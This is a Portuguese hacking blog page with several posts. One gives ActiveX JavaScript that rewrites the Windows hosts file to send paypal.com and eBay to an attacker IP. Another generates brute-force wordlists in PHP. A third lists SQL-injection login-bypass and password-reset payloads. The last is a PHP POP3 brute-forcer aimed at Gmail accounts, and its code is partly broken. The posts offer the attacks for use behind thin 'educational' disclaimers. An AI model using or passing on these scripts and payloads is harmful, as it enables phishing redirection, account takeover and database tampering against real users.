Pharming, mais um hack

Junho 25, 2008 on 11:20 am | In Informatica, JavaScript, Tutorial, Hacker | No Comments

Mas o que é pharming ? É a idéia de alterar, sequestrar ou mesmo contaminar o DNS da vítima para levar a vítima a um site falso, por traz disso, roubar dados pessoais, cartões de crédito, dados de banco e dentre outros (vai da imaginação de cada um), pode-se tambem criar um ponte através do de um site para o site desejado e monitorar os dados do trafego assim roubando as informações; mas porque estou falando disso aqui?! É pelo motivo que isso é feito ou pode ser feito através de sites mau intensionados com um simples código JavaScript, essa é a maneira mais utilizada.

No windows XP nos temos nossos host no seguinte arquivo :

C:/WINDOWS/system32/Drivers/etc/hosts

Que contem o seguinte :

127.0.0.1 localhost
Dizendo que o localhost aponta para este ip 127.0.0.1

Bom na verdade quando você digitar localhost no seu navegador ele irá procurar por este ip, caso não encontre ele vai tentando diversas combinações com www e .com e diversos outros.

O script abaixo mostra um exemplo de como podemos alterar o arquivo com Active-X no JavaScript, claro que o script ira pedir uma autorização, coisa que os hackers resolvem e você é afetado sem perceber. O que ele irá fazer é redirecionar o dominio digitado para o IP desejado.

JAVASCRIPT:
  1. function pharmer(){
  2. var fso = new ActiveXObject("Scripting.FileSystemObject");
  3. var pharm = fso.CreateTextFile("C:\\WINDOWS\\system32\\Drivers\\etc\\hosts", true);
  4. pharm.WriteLine('127.0.0.1       localhost');
  5. pharm.WriteLine('188.222.33.1    <a href="https://www.paypal.com/row/mrb/pal=2VAJ7L6XR6XWG"  class="alinks_links" onclick="return alinks_click(this);" title="Transferência de dinheiro? BrPay Americano"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">paypal</a>');
  6. pharm.WriteLine('188.222.33.1    www.paypal.com');
  7. pharm.WriteLine('188.222.33.1    ebay.com');
  8. pharm.WriteLine('188.222.33.1    www.ebay.com');
  9. pharm.Close();
  10. }

Coisas que só o 0x000000 nos ensina. ; )


Vulnerabilidades, segurança e outros

Junho 9, 2008 on 10:46 pm | In Informatica, Tutorial, Hacker | 1 Comment

Levando a sério o negócio, é difícil encontrar blogs sobre vulnerabilidades, segurança, servidores e outros assuntos do genero, pelo menos blogs que levem a sério a informação, é essa a proposta do blog da NetAdviser, empresa especializada no assunto... trazendo um pouco mais de cultura de servidores, open source, linux e muito mais... como conheço-o pessoalmente estou apostando que logo logo será um blog de nome, cheio de informação válida para todos... :P

Ja começou bem tendo até trackbacks do br-linux, chega á hora do meu trackback, espero que role uns assuntos h4ck3r3s para nós se divertimos e aprendermos.

E viva o FREE!


WordList em PHP para cracks

Maio 8, 2008 on 11:32 am | In Informatica, php, Hacker | 6 Comments

Bom, pensando no script para brutal Force no gmail que postei fiquei pensando; como podemos gerar uma lista de palavras para que possamos testar o script ? Existem diversas wordlist generator por ae, porém precisamos uma em php que construa e teste; gerar um arquivo TXT é uma lastima, pois fica gigantesto, então nada de pegar pronto, o negocio é gerar na mão.
Mas o que é esse tal de wordlist então ?
Nós podemos chamar de dicionário de palavras, nesta lista terá as palavras inimaginarias e imaginarias para que ao tentar crackear uma conta teste cada palavra como senha, o ideal para está lista seria ter todos as possíveis palavras.

Exemplos:

a, aa, ab, ac, ad ... aaaa, aaab, aaac, aaad ...

Para que possamos testar 1 a 1 e ter certeza que iremos conseguir, mas todas as possibilidades é algo muito grandioso, por isso existem os dicionários de palavras ja prontos, como nosso amigo disponibiliza aqui.

Mas e se quisermos criar uma lista completa em php como fazermos ?

Primeiro vamos definir em uma array todos os caracteres que iremos disponibilizar para teste:

PHP:
  1. $alfa=array("A", "B", "C", "D", "F", "G", "H", "I", "K", "L", "M", "N", "O", "Q", "R", "S", "T", "V", "X", "Y", "Z");
  2. foreach($alfa as $valor){
  3. $passlist[]=strtoupper($valor);
  4. }
  5. foreach($alfa as $valor){
  6. $passlist[]=strtolower($valor);
  7. }
  8. for($i=0;$i<10;$i++){
  9. $passlist[]=$i;
  10. }
  11. $passlist[] = '$';
  12. $passlist[] = '%';
  13. $passlist[] = '&';
  14. $passlist[] = '*';
  15. $passlist[] = '#';

Então como podemos gerar todas as possíveis senhas palavras para 6 caracteres?

PHP:
  1. foreach($passlist as $va0){
  2. foreach($passlist as $va1){
  3. foreach($passlist as $va2){
  4. foreach($passlist as $va3){
  5. foreach($passlist as $va4){
  6. foreach($passlist as $va5){
  7. foreach($passlist as $va6){
  8. echo $va0.$va1.$va2.$va3.$va4.$va5.$va6;
  9. }
  10. }
  11. }
  12. }
  13. }
  14. }
  15. }

Acho que deu para ter uma idéia, esse script é para fins de aprendizado!


SQL Injection Hacks no PHP

Setembro 24, 2007 on 2:21 pm | In Informatica, php, Hacker | 6 Comments

Continuando a diversão de se fazer testes no seu sistema ou se divertir com sistemas de outros segue uma lista de possíveis SQL injections, lembrando que pode-se utilizar tanto no login/senha no form ou como na url quando se utilizam método de $_GET no php, vamos lá:

HTML:
  1. user:admin
  2. pass:' or 1=1--
  3. user:' or 1=1--
  4. admin:' or 1=1--
  5. password:' or 1=1--
  6. admin:' or a=a--
  7. admin:' or 1=1--
  8. admin'--
  9. ' or 0=0 --
  10. " or 0=0 --
  11. or 0=0 --
  12. ' or 0=0 #
  13. " or 0=0 #
  14. or 0=0 #
  15. ' or 'x'='x
  16. " or "x"="x
  17. ') or ('x'='x
  18. ' or 1=1--
  19. " or 1=1--
  20. or 1=1--
  21. ' or a=a--
  22. " or "a"="a
  23. ') or ('a'='a
  24. ") or ("a"="a
  25. hi" or "a"="a
  26. hi" or 1=1 --
  27. hi' or 1=1 --
  28. hi' or 'a'='a
  29. hi') or ('a'='a
  30. hi") or ("a"="a
  31. 1 OR 1=1
  32. 1' OR '1'='1
  33. 1'1
  34. 1 EXEC SP_ (or EXEC XP_)
  35. 1 AND 1=1
  36. 1' AND 1=(SELECT COUNT(*) FROM tablenames); --
  37. " AND user like %name% --
  38. "; select user like %name% --
  39. "; update users set passw = 'newpass' where user like %name% --

Existem diversas outras formas de se fazer ataques e fazer antes pesquisas de versões, match, vetores, mapiamento do mysql e até mesmo com user do mysql interno. Mas por hoje fica a lista por aqui, lembrando que fica por sua conta e risco, isso é somente um informativo...


HACK descobrindo senhas de e-mail

Setembro 10, 2007 on 11:38 am | In Informatica, php, Hacker | 79 Comments

Abrirei uma nova sessão de hacks, não afim de que meus leitores ownem (?) o mundo, mas sim para aprender os hacks de php afim de bolar soluções para se proteger contra isso. Vou começar com um hack para descobrir senhas utilizando BrutalForce no PHP através do POP3 dos emails, não irei explicar o que significa os jargões e como obter informações, sim somente uma demonstração de um código que foi disponibilizado pela Webzine do 0x000000.

Feito o script para o gmail, afim de que vejam que o nome do usuário é o email e por isso ja temos 50% de chance a mais para o hack. O script consegue ser rodado para qualquer tipo de POP3 baseado em SSL, como hotmail e muitos outros pela net.

o Código:

PHP:
  1.  
  2. ini_set("max_execution_time",0);
  3.  
  4.  
  5.  
  6. function bruteforce($email) {
  7.  
  8.  
  9.  
  10. $passlist = array('foo','bar','hello','world','abc','123','bazooka','joe');
  11.  
  12. $start      = 0;
  13.  
  14.  
  15.  
  16. while($forced == false && $start <= count($passlist)) {
  17.  
  18.  
  19.  
  20. usleep(1000000);
  21.  
  22.  
  23.  
  24. $ssl = fsockopen("ssl://pop.gmail.com", 995, $err, $errdata, 40);
  25.  
  26.  
  27.  
  28. if (!$ssl) {
  29.  
  30.  
  31.  
  32. echo "$errdata" . " => " . "$err";
  33.  
  34.  
  35.  
  36. } else {
  37.  
  38.  
  39.  
  40. $auth = fgets($ssl, 128);
  41.  
  42. fputs($ssl, "USER ".$email."\n");
  43.  
  44. $auth = fgets($ssl, 128);
  45.  
  46. fputs($ssl, "PASS ".$passlist[$start]."\n");
  47.  
  48. $auth = fgets($ssl, 128);
  49.  
  50.  
  51.  
  52. $status = substr($auth, 0, 4);
  53.  
  54. if($status == "+OK ") {
  55.  
  56. $forced = true;
  57.  
  58. }
  59.  
  60.  
  61.  
  62. if($status == "-ERR") {
  63.  
  64. $forced = false;
  65.  
  66. $start++;
  67.  
  68. }
  69.  
  70.  
  71.  
  72. fclose ($ssl);
  73.  
  74.  
  75.  
  76. if($forced) {
  77.  
  78. <div style='background-color:lime;font-size:16px;'>Password found: $passlist[$start]</div>
  79. ";
  80.  
  81. }
  82.  
  83. }
  84.  
  85. }
  86.  
  87.  
  88.  
  89. return $forced;
  90.  
  91.  
  92.  
  93. }
  94.  
  95.  
  96.  
  97. bruteforce("bazookajoe@gmail.com");

Fonte : PHP POP3 BruteForcer.



 

 Assine o feed